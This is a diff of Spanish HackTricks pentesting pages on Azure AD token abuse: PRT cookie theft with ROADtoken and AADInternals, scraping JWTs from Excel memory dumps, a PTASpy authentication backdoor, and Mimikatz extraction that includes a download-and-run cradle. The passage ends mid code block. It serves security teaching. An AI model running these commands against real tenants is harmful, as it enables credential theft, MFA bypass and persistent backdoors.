--   **BrowserCore.exe e interfaces COM del Broker de Tokens:** Para SSO en navegadores, Windows incluye un componente llamado **BrowserCore.exe** (ubicado en *Windows Security\BrowserCore*). Este es un host de mensajería nativo utilizado por navegadores (Edge, Chrome a través de una extensión, etc.) para obtener un token SSO derivado del PRT para el inicio de sesión en Azure AD. En segundo plano, BrowserCore aprovecha un objeto COM proporcionado por `MicrosoftAccountTokenProvider.dll` para recuperar una cookie/token basado en PRT. En esencia, esta interfaz COM es una API de "broker de tokens" de primera parte que cualquier proceso que se ejecute como el usuario puede invocar para obtener un token SSO (siempre que el usuario tenga un PRT válido en LSASS).
+-   **BrowserCore.exe e interfaces COM del Broker de Tokens:** Para SSO en navegadores, Windows incluye un componente llamado **BrowserCore.exe** (ubicado en *Windows Security\BrowserCore*). Este es un host de mensajería nativo utilizado por navegadores (Edge, Chrome a través de una extensión, etc.) para obtener un token SSO derivado del PRT para el inicio de sesión en Azure AD. En el fondo, BrowserCore aprovecha un objeto COM proporcionado por `MicrosoftAccountTokenProvider.dll` para recuperar una cookie/token basado en PRT. En esencia, esta interfaz COM es una API de "broker de tokens" de primera parte que cualquier proceso que se ejecute como el usuario puede invocar para obtener un token SSO (siempre que el usuario tenga un PRT válido en LSASS).
 
-Cuando un usuario unido a Azure AD intenta acceder a un recurso (por ejemplo, el Portal de Azure), el flujo es típicamente: una aplicación llama a la interfaz COM de WAM o BrowserCore, que a su vez se comunica con LSASS. LSASS utiliza el PRT y la clave de sesión (asegurada por TPM) para producir un **token SSO** -- a menudo llamado **cookie PRT** -- que luego se devuelve a la aplicación o navegador. La cookie PRT es un JWT especial que contiene el PRT encriptado y un nonce, firmado con una clave derivada de la clave de sesión del PRT. Esta cookie se envía a Azure AD (en un encabezado `x-ms-RefreshTokenCredential`) para probar que el dispositivo y el usuario tienen un PRT válido, permitiendo a Azure AD emitir tokens de acceso y actualización estándar de OAuth para varias aplicaciones. Notablemente, cualquier reclamo de Autenticación Multifactor (MFA) presente en el PRT se trasladará a los tokens obtenidos a través de este proceso SSO, lo que significa que los tokens derivados del PRT pueden satisfacer recursos protegidos por MFA.
+Cuando un usuario unido a Azure AD intenta acceder a un recurso (por ejemplo, el Portal de Azure), el flujo es típicamente: una aplicación llama a la interfaz COM de WAM o BrowserCore, que a su vez se comunica con LSASS. LSASS utiliza el PRT y la clave de sesión (asegurada por TPM) para producir un **token SSO** -- a menudo llamado **cookie PRT** -- que luego se devuelve a la aplicación o navegador. La cookie PRT es un JWT especial que contiene el PRT encriptado y un nonce, firmado con una clave derivada de la clave de sesión del PRT. Esta cookie se envía a Azure AD (en un encabezado `x-ms-RefreshTokenCredential`) para probar que el dispositivo y el usuario tienen un PRT válido, permitiendo que Azure AD emita tokens de acceso y actualización estándar de OAuth para varias aplicaciones. Notablemente, cualquier reclamo de Autenticación Multifactor (MFA) presente en el PRT se trasladará a los tokens obtenidos a través de este proceso SSO, lo que significa que los tokens derivados del PRT pueden satisfacer recursos protegidos por MFA.
 
 ### Robo de Tokens a Nivel de Usuario (No Admin)
 
-Cuando un atacante tiene **ejecución de código a nivel de usuario**, la protección TPM del PRT no impide que el atacante obtenga tokens. El atacante **aprovecha las APIs de Broker de Tokens de Windows integradas**:
+Cuando un atacante tiene **ejecución de código a nivel de usuario**, la protección de TPM del PRT no impide que el atacante obtenga tokens. El atacante **aprovecha las APIs integradas del Broker de Tokens de Windows**:
 
 #### **BrowserCore (MicrosoftAccountTokenProvider COM)**
 
@@ -158,17 +187,49 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
 *(Devuelve un token de actualización de Azure AD o una cookie PRT)*
 
 - **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
+
+ROADtoken ejecutará **`BrowserCore.exe`** desde el directorio correcto y lo usará para **obtener una cookie PRT**. Esta cookie se puede usar con ROADtools para autenticar y **obtener un token de actualización persistente**.
+
+Para generar una cookie PRT válida, lo primero que necesitas es un nonce.\
+Puedes obtener esto con:
 ```bash
-ROADtoken.exe --nonce <nonce-value>
-roadrecon auth --prt-cookie <cookie>
+$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
+$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
+
+$Params = @{
+"URI"     = $URL
+"Method"  = "POST"
+}
+$Body = @{
+"grant_type" = "srv_challenge"
+}
+$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
+$Result.Nonce
+AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
 ```
-*(Genera nonce, invoca BrowserCore para obtener la cookie PRT, luego la canjea a través de ROADtools)*
+O usando [**roadrecon**](https://github.com/dirkjanm/ROADtools):
+```bash
+roadrecon auth prt-init
+```
+Luego puedes usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario para atacar):
+```bash
+.\ROADtoken.exe <nonce>
+```
+Como una sola línea:
+```bash
+Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
+```
+Luego puedes usar la **cookie generada** para **generar tokens** para **iniciar sesión** usando Azure AD **Graph** o Microsoft Graph:
+```bash
+# Generate
+roadrecon auth --prt-cookie <prt_cookie>
 
+# Connect
+Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
+```
+### **Web Account Manager (WAM) APIs**
 
-### **APIs de Administrador de Cuentas Web (WAM)**
-
-Los atacantes utilizan bibliotecas de autenticación legítimas de Microsoft (**MSAL**, **APIs WAM**, **WebAuthenticationCoreManager**) desde procesos a nivel de usuario para recuperar silenciosamente tokens aprovechando el PRT protegido por TPM.
-
+Los atacantes utilizan bibliotecas de autenticación legítimas de Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) desde procesos a nivel de usuario para recuperar silenciosamente tokens aprovechando el PRT protegido por TPM.
 
 -   **[aadprt](https://posts.specterops.io/)**
 ```bash
@@ -188,11 +249,11 @@ $app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("clien
 $result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
 $result.AccessToken
 ```
-*(Silenciosamente obtiene un token de acceso aprovechando el PRT)*
+*(Silenciosamente obtiene un token de acceso aprovechando PRT)*
 
 #### Abuso de Token a Nivel de Administrador / SYSTEM
 
-Si el atacante se eleva a **Administrador o SYSTEM**, puede suplantar directamente a cualquier usuario conectado a Azure AD y utilizar las mismas **API de intermediario de tokens COM/WAM**. Los PRT protegidos por TPM no impiden esta emisión legítima de tokens.
+Si el atacante se eleva a **Administrador o SYSTEM**, puede suplantar directamente a cualquier usuario conectado a Azure AD y utilizar las mismas **API de intermediario de token COM/WAM**. Los PRT protegidos por TPM no impiden esta emisión legítima de tokens.
 
 ### **Suplantación de Usuario y Recuperación de Token**
 
@@ -217,7 +278,7 @@ Abusar del flujo de **Código de Dispositivo OAuth** utilizando el **ID de clien
 **Requisitos previos**:
 
 -   **Autenticación de usuario a través de Código de Dispositivo** utilizando el **ID de cliente del Intermediario** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) y **alcances/recurso de DRS** (por ejemplo, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** o **`https://enrollment.manage.microsoft.com/`**).
--   **El usuario puede registrar dispositivos** en Entra ID (**predeterminado: permitido**, pero puede ser restringido o limitado por cuota).
+-   **El usuario puede registrar dispositivos** en Entra ID (**predeterminado: permitido**, pero puede ser restringido o limitado por cuotas).
 -   **Sin políticas de CA bloqueadoras** que **deshabiliten el Código de Dispositivo** o **requieran dispositivos compatibles/híbridos** para aplicaciones objetivo (esos no detendrán la emisión de PRT, pero **sí** bloquearán **su uso** para acceder a aplicaciones protegidas).
 -   **Host controlado por el atacante** para ejecutar el flujo y mantener los tokens/claves del dispositivo.
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md

@@ -1,34 +0,0 @@
-# Az - Processes Memory Access Token
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## **Información Básica**
-
-Como se explica en [**este video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), algunos software de Microsoft sincronizados con la nube (Excel, Teams...) pueden **almacenar tokens de acceso en texto claro en la memoria**. Así que simplemente **volcando** la **memoria** del proceso y **buscando tokens JWT** podrías obtener acceso a varios recursos de la víctima en la nube eludiendo MFA.
-
-Pasos:
-
-1. Volcar los procesos de excel sincronizados con el usuario de EntraID con tu herramienta favorita.
-2. Ejecutar: `string excel.dmp | grep 'eyJ0'` y encontrar varios tokens en la salida.
-3. Encontrar los tokens que más te interesen y ejecutar herramientas sobre ellos:
-```bash
-# Check the identity of the token
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
-
-# Check the email (you need a token authorized in login.microsoftonline.com)
-curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
-
-# Download a file from Teams
-## You need a token that can access graph.microsoft.com
-## Then, find the <site_id> inside the memory and call
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
-
-## Then, list one drive
-curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
-
-## Finally, download a file from that drive:
-curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
-```
-**Tenga en cuenta que este tipo de tokens de acceso también se pueden encontrar dentro de otros procesos.**
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md

@@ -1,31 +1,31 @@
-# Az - PTA - Autenticación Passthrough
+# Az - PTA - Pass-through Authentication
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## Información Básica
 
-[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La autenticación passthrough de Microsoft Entra permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Microsoft Entra ID, esta función valida las contraseñas de los usuarios directamente contra su Active Directory local.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La autenticación pass-through de Microsoft Entra permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Microsoft Entra ID, esta función valida las contraseñas de los usuarios directamente contra su Active Directory local.
 
 En PTA, las **identidades** están **sincronizadas** pero las **contraseñas no** como en PHS.
 
-La autenticación se valida en el AD local y la comunicación con la nube se realiza a través de un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local).
+La autenticación se valida en el AD local y la comunicación con la nube se realiza mediante un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local).
 
 ### Flujo de Autenticación
 
 <figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
 
 1. Para **iniciar sesión**, el usuario es redirigido a **Azure AD**, donde envía el **nombre de usuario** y la **contraseña**.
-2. Las **credenciales** se **cifran** y se colocan en una **cola** en Azure AD.
-3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **descifra**. Este agente se llama **"agente de autenticación passthrough"** o **agente PTA**.
+2. Las **credenciales** están **encriptadas** y se colocan en una **cola** en Azure AD.
+3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **desencripta**. Este agente se llama **"agente de autenticación pass-through"** o **agente PTA**.
 4. El **agente** **valida** las credenciales contra el **AD local** y envía la **respuesta** **de vuelta** a Azure AD que, si la respuesta es positiva, **completa el inicio de sesión** del usuario.
 
 > [!WARNING]
 > Si un atacante **compromete** el **PTA**, puede **ver** todas las **credenciales** de la cola (en **texto claro**).\
-> También puede **validar cualquier credencial** en AzureAD (ataque similar a la llave maestra).
+> También puede **validar cualquier credencial** en AzureAD (ataque similar al de la llave maestra).
 
 ### Enumeración
 
-Desde Entra ID:
+From Entra ID:
 ```bash
 az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
 # Example response:
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
 ```
 ## Pivoting
 
-Si tienes acceso **admin** al **servidor de Azure AD Connect** con el **agente** **PTA** en ejecución, puedes usar el módulo **AADInternals** para **insertar una puerta trasera** que **validará TODAS las contraseñas** introducidas (así que todas las contraseñas serán válidas para la autenticación):
+Si tienes acceso **admin** al **servidor Azure AD Connect** con el **agente PTA** en ejecución, puedes usar el módulo **AADInternals** para **insertar una puerta trasera** que **validará TODAS las contraseñas** introducidas (así que todas las contraseñas serán válidas para la autenticación):
 ```bash
 Install-Module AADInternals -RequiredVersion 0.9.3
 Import-Module AADInternals
@@ -68,23 +68,23 @@ Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the pas
 Remove-AADIntPTASpy # Remove the backdoor
 ```
 > [!NOTE]
-> Si la **instalación falla**, esto se debe probablemente a que faltan los [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
+> Si la **instalación falla**, esto se debe probablemente a la falta de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
 
 Este backdoor hará:
 
 - Crear una carpeta oculta `C:\PTASpy`
 - Copiar un `PTASpy.dll` a `C:\PTASpy`
-- Inyectar `PTASpy.dll` en el proceso `AzureADConnectAuthenticationAgentService`
+- Inyectar `PTASpy.dll` al proceso `AzureADConnectAuthenticationAgentService`
 
 > [!NOTE]
 > Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy es “descargado” y debe ser reinstalado.
 
 > [!CAUTION]
-> Después de obtener **privilegios de GA** en la nube, es posible **registrar un nuevo agente PTA** y **repetir** los pasos **previos** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.**
+> Después de obtener **privilegios GA** en la nube, es posible **registrar un nuevo agente PTA** y **repetir** los pasos **previos** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.**
 
-### SSO Sin Costuras
+### Seamless SSO
 
-Es posible usar SSO Sin Costuras con PTA, que es vulnerable a otros abusos. Revísalo en:
+Es posible usar Seamless SSO con PTA, que es vulnerable a otros abusos. Verifique en:
 
 {{#ref}}
 seamless-sso.md

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md

@@ -1,58 +0,0 @@
-# Az AD Connect - Identidad Híbrida
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Información Básica
-
-La integración entre **Active Directory (AD) local** y **Azure AD** es facilitada por **Azure AD Connect**, ofreciendo varios métodos que soportan **Single Sign-on (SSO)**. Cada método, aunque útil, presenta vulnerabilidades de seguridad potenciales que podrían ser explotadas para comprometer entornos en la nube o locales:
-
-- **Pass-Through Authentication (PTA)**:
-- Posible compromiso del agente en el AD local, permitiendo la validación de contraseñas de usuario para conexiones de Azure (local a la Nube).
-- Viabilidad de registrar un nuevo agente para validar autenticaciones en una nueva ubicación (Nube a local).
-
-{{#ref}}
-pta-pass-through-authentication.md
-{{#endref}}
-
-- **Password Hash Sync (PHS)**:
-- Extracción potencial de contraseñas en texto claro de usuarios privilegiados del AD, incluyendo credenciales de un usuario de AzureAD de alto privilegio, auto-generado.
-
-{{#ref}}
-phs-password-hash-sync.md
-{{#endref}}
-
-- **Federation**:
-- Robo de la clave privada utilizada para la firma SAML, permitiendo la suplantación de identidades locales y en la nube.
-
-{{#ref}}
-federation.md
-{{#endref}}
-
-- **Seamless SSO:**
-- Robo de la contraseña del usuario `AZUREADSSOACC`, utilizada para firmar tickets de Kerberos, permitiendo la suplantación de cualquier usuario en la nube.
-
-{{#ref}}
-seamless-sso.md
-{{#endref}}
-
-- **Cloud Kerberos Trust**:
-- Posibilidad de escalar de Administrador Global a Administrador de Dominio local manipulando los nombres de usuario y SIDs de usuarios de AzureAD y solicitando TGTs de AzureAD.
-
-{{#ref}}
-az-cloud-kerberos-trust.md
-{{#endref}}
-
-- **Default Applications**:
-- Comprometer una cuenta de Administrador de Aplicaciones o la Cuenta de Sincronización local permite modificar configuraciones de directorio, membresías de grupos, cuentas de usuario, sitios de SharePoint y archivos de OneDrive.
-
-{{#ref}}
-az-default-applications.md
-{{#endref}}
-
-Para cada método de integración, se lleva a cabo la sincronización de usuarios, y se crea una cuenta `MSOL_<installationidentifier>` en el AD local. Notablemente, tanto los métodos **PHS** como **PTA** facilitan **Seamless SSO**, permitiendo el inicio de sesión automático para computadoras de Azure AD unidas al dominio local.
-
-Para verificar la instalación de **Azure AD Connect**, se puede utilizar el siguiente comando de PowerShell, utilizando el módulo **AzureADConnectHealthSync** (instalado por defecto con Azure AD Connect):
-```bash
-Get-ADSyncConnector
-```
-{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md

@@ -1,250 +0,0 @@
-# Az - Pass the PRT
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ¿Qué es un PRT?
-
-{{#ref}}
-az-primary-refresh-token-prt.md
-{{#endref}}
-
-### Verifica si tienes un PRT
-```
-Dsregcmd.exe /status
-```
-En la sección del estado de SSO, deberías ver el **`AzureAdPrt`** configurado en **SÍ**.
-
-<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
-
-En la misma salida también puedes ver si el **dispositivo está unido a Azure** (en el campo `AzureAdJoined`):
-
-<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
-
-## Cookie PRT
-
-La cookie PRT se llama en realidad **`x-ms-RefreshTokenCredential`** y es un JSON Web Token (JWT). Un JWT contiene **3 partes**, el **encabezado**, **carga útil** y **firma**, divididas por un `.` y todas codificadas en base64 seguras para URL. Una cookie PRT típica contiene el siguiente encabezado y cuerpo:
-```json
-{
-"alg": "HS256",
-"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
-}
-{
-"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
-"is_primary": "true",
-"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
-}
-```
-El **Primary Refresh Token (PRT)** actual está encapsulado dentro del **`refresh_token`**, que está encriptado por una clave bajo el control de Azure AD, lo que hace que su contenido sea opaco e indecriptable para nosotros. El campo **`is_primary`** significa la encapsulación del token de actualización primario dentro de este token. Para asegurar que la cookie permanezca vinculada a la sesión de inicio de sesión específica para la que fue destinada, se transmite el `request_nonce` desde la página `logon.microsoftonline.com`.
-
-### Flujo de la cookie PRT usando TPM
-
-El proceso **LSASS** enviará al TPM el **KDF context**, y el TPM usará la **session key** (recolectada cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para **derivar** una **clave**, y esta **clave derivada** se usa para **firmar la cookie PRT (JWT).**
-
-El **KDF context es** un nonce de AzureAD y el PRT creando un **JWT** mezclado con un **contexto** (bytes aleatorios).
-
-Por lo tanto, incluso si el PRT no puede ser extraído porque está ubicado dentro del TPM, es posible abusar de LSASS para **solicitar claves derivadas de nuevos contextos y usar las claves generadas para firmar Cookies**.
-
-<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
-
-## Escenarios de abuso de PRT
-
-Como **usuario regular**, es posible **solicitar el uso de PRT** pidiendo a LSASS datos de SSO.\
-Esto se puede hacer como **aplicaciones nativas** que solicitan tokens al **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación de PRT firmada. O se puede hacer con **flujos basados en navegador (web)** donde se usa una **cookie PRT** como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS.
-
-Como **SYSTEM**, podrías **robar el PRT si no está protegido** por TPM o **interactuar con las claves PRT en LSASS** usando APIs criptográficas.
-
-## Ejemplos de ataque Pass-the-PRT
-
-### Ataque - ROADtoken
-
-Para más información sobre esta forma [**consulta esta publicación**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken ejecutará **`BrowserCore.exe`** desde el directorio correcto y lo usará para **obtener una cookie PRT**. Esta cookie puede ser utilizada con ROADtools para autenticar y **obtener un token de actualización persistente**.
-
-Para generar una cookie PRT válida, lo primero que necesitas es un nonce.\
-Puedes obtener esto con:
-```bash
-$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
-$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
-
-$Params = @{
-"URI"     = $URL
-"Method"  = "POST"
-}
-$Body = @{
-"grant_type" = "srv_challenge"
-}
-$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
-$Result.Nonce
-AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
-```
-O usando [**roadrecon**](https://github.com/dirkjanm/ROADtools):
-```bash
-roadrecon auth prt-init
-```
-Luego puedes usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario a atacar):
-```bash
-.\ROADtoken.exe <nonce>
-```
-Como una sola línea:
-```bash
-Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
-```
-Luego puedes usar la **cookie generada** para **generar tokens** para **iniciar sesión** usando Azure AD **Graph** o Microsoft Graph:
-```bash
-# Generate
-roadrecon auth --prt-cookie <prt_cookie>
-
-# Connect
-Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
-```
-### Ataque - Usando roadrecon
-
-### Ataque - Usando AADInternals y un PRT filtrado
-
-`Get-AADIntUserPRTToken` **obtiene el token PRT del usuario** de la computadora unida a Azure AD o unida de forma híbrida. Utiliza `BrowserCore.exe` para obtener el token PRT.
-```bash
-# Get the PRToken
-$prtToken = Get-AADIntUserPRTToken
-
-# Get an access token for AAD Graph API and save to cache
-Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
-```
-O si tienes los valores de Mimikatz, también puedes usar AADInternals para generar un token:
-```bash
-# Mimikat "PRT" value
-$MimikatzPRT="MC5BWU..."
-
-# Add padding
-while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
-
-# Decode
-$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
-
-# Mimikatz "Clear key" value
-$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
-
-# Convert to Byte array and B64 encode
-$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
-
-# Generate PRTToken with Nonce
-$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
-$prtToken
-## You can already use this token ac cookie in the browser
-
-# Get access token from prtToken
-$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
-
-# Verify access and connect with Az. You can see account id in mimikatz prt output
-Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
-```
-Ve a [https://login.microsoftonline.com](https://login.microsoftonline.com), borra todas las cookies para login.microsoftonline.com e ingresa una nueva cookie.
-```
-Name: x-ms-RefreshTokenCredential
-Value: [Paste your output from above]
-Path: /
-HttpOnly: Set to True (checked)
-```
-Luego ve a [https://portal.azure.com](https://portal.azure.com)
-
-> [!CAUTION]
-> El resto debería ser los valores predeterminados. Asegúrate de poder actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no, deberías estar bien.
-
-### Ataque - Mimikatz
-
-#### Pasos
-
-1. El **PRT (Token de Actualización Primario) se extrae de LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local) y se almacena para su uso posterior.
-2. La **Clave de Sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Se puede encontrar información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) en estos recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md).
-3. Después del descifrado de la Clave de Sesión, se obtienen la **clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (Token Web JSON) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
-
-> [!CAUTION]
-> Ten en cuenta que si el PRT está dentro del TPM y no dentro de `lsass`, **mimikatz no podrá extraerlo**.\
-> Sin embargo, será posible **obtener una clave de una clave derivada de un contexto** del TPM y usarla para **firmar una cookie (ver opción 3).**
-
-Puedes encontrar una **explicación detallada del proceso realizado** para extraer estos detalles aquí: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
-
-> [!WARNING]
-> Esto no funcionará exactamente después de las correcciones de agosto de 2021 para obtener los tokens PRT de otros usuarios, ya que solo el usuario puede obtener su PRT (un administrador local no puede acceder a los PRT de otros usuarios), pero puede acceder al suyo.
-
-Puedes usar **mimikatz** para extraer el PRT:
-```bash
-mimikatz.exe
-Privilege::debug
-Sekurlsa::cloudap
-
-# Or in powershell
-iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
-Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
-```
-(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
-
-<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
-
-**Copia** la parte etiquetada como **Prt** y guárdala.\
-Extrae también la clave de sesión (el **`KeyValue`** del campo **`ProofOfPossesionKey`**) que puedes ver resaltada a continuación. Esto está cifrado y necesitaremos usar nuestras claves maestras de DPAPI para descifrarlo.
-
-<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
-
-> [!NOTE]
-> Si no ves ningún dato de PRT, podría ser que **no tengas ningún PRT** porque tu dispositivo no está unido a Azure AD o podría ser que estás **ejecutando una versión antigua** de Windows 10.
-
-Para **descifrar** la clave de sesión, necesitas **elevar** tus privilegios a **SYSTEM** para ejecutar bajo el contexto de la computadora y poder usar la **clave maestra de DPAPI para descifrarla**. Puedes usar los siguientes comandos para hacerlo:
-```
-token::elevate
-dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
-```
-<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
-
-#### Opción 1 - Mimikatz Completo
-
-- Ahora quieres copiar tanto el valor de Contexto:
-
-<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
-
-- Como el valor de la clave derivada:
-
-<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
-
-- Finalmente, puedes usar toda esta información para **generar cookies PRT**:
-```bash
-Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
-```
-<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
-
-- Ve a [https://login.microsoftonline.com](https://login.microsoftonline.com), borra todas las cookies para login.microsoftonline.com e ingresa una nueva cookie.
-```
-Name: x-ms-RefreshTokenCredential
-Value: [Paste your output from above]
-Path: /
-HttpOnly: Set to True (checked)
-```
-- Luego ve a [https://portal.azure.com](https://portal.azure.com)
-
-> [!CAUTION]
-> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no lo hace, deberías estar bien.
-
-#### Opción 2 - roadrecon usando PRT
-
-- Renueva el PRT primero, lo que lo guardará en `roadtx.prt`:
-```bash
